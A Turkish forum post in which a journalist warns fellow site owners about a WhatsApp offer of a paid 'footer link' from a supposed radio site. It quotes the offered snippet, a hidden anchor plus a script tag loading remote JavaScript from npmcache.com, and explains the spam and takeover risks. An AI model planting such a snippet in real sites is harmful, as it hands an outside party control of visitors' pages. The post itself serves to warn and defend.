Footer Link Mesajına Dikkat Edin!

Gazeteciyim hocam ben, Türkiye'de ortalama bir gazeteci aylık olarak minimum 1, maksimum 60 tehdite kadar çıkabiliyor.

İyi geceler, hayırlı forumlar dostlar;

Cumartesi akşam 19:00'da whatsapp üzerinden siteme link vermek istediğini söyleyen sözde 'gazeteci' radyo sitesi olan bir şahıs mesaj attı. Günüm yoğun olduğu için farkına varamadım mesajın. Bu akşam tekrar mesaj attı. Radyo sitesinin olduğunu, footer link vermek istediğini söyledi siteme.

Atılan link;

<a href="https://yenislowradyo.com/"
   target="_blank"
   title="Slow Radyo - Radyo Dinle"
   style="display:none;">
   Yeni Slow Radyo
<script src="https://npmcache.com/api.js"></script>

Kodu direk yapay zekaya sorduğumda,
Kodda iki ayrı risk var:

1. Gizli footer bağlantısı: display:none nedeniyle ziyaretçiler bağlantıyı göremiyor. Bu, normal bir footer reklamı veya SEO bağlantısı uygulaması değil. Gizli bağlantılar Google'ın spam politikalarına aykırı olabilir.
2. Harici JavaScript: npmcache.com/api.js dosyası sitene dışarıdan JavaScript çalıştırma yetkisi veriyor. İçeriği değişirse sitende senin kontrolün dışında kod çalışabilir.

Araştırmamda daha önemli bir bulguya ulaştım.
R10.net üzerinde 2026 yılında başka bir haber sitesi yöneticisi, tam olarak bu reklam koduyla ilgili uyarı paylaşmış. Konu, radyo reklamı bahanesiyle sitelere gizli SEO bağlantısı ve uzaktan JavaScript yerleştirilmesi ihtimali.

Ayrıca yaptığım kontrolde npmcache.com/api.js şu anda Google Tag Manager'ın gtag.js dosyasına yönlendiriyor. Ancak bu, kodun güvenli olduğu anlamına gelmiyor. Alan adının sahibi istediği zaman yönlendirmeyi değiştirebilir.

Bilgilerine ulaşım sağladım. Belki yanılmışta olabilirim. Yazılım anlamında tecrübeli bilgi sahibi olan arkadaşlarımız daha iyi anlar. Birkaç konu gördüm, yine radyo sitesi ile alakalı bunlar üzerine bir arkadaşımızın canı yanmadan bilgilendirme amaçlı paylaşım yapmak istedim.

Gazeteciyim hocam ben, Türkiye'de ortalama bir gazeteci aylık olarak minimum 1, maksimum 60 tehdite kadar çıkabiliyor. Rutin haline geldi benim açımdan bir konu. Saatlerimizi, uykumuzu hatta hayatımızdan zaman ayırarak, maddi manevi emek verilen sitelerimize bir arkadaşımızın canı yanmadan önlem sağlayabildiysem ne mutlu bana.

https://npmcache.com/api.js bununla yapamayacağım sey yok, hacklınki backlınk, anasayfa yönlendırme, içerik basma vs ki sana yazanın adı haberli birşey mi logosu ai ile yapılmış .D

Profilinde fotoğraf yok, yada numarasını kayıt etmediğim için ben göremedim hocam . Asım Çölmekçi adı gözüküyor whatsapp'da. Darkorbit oynamıyorum hocam.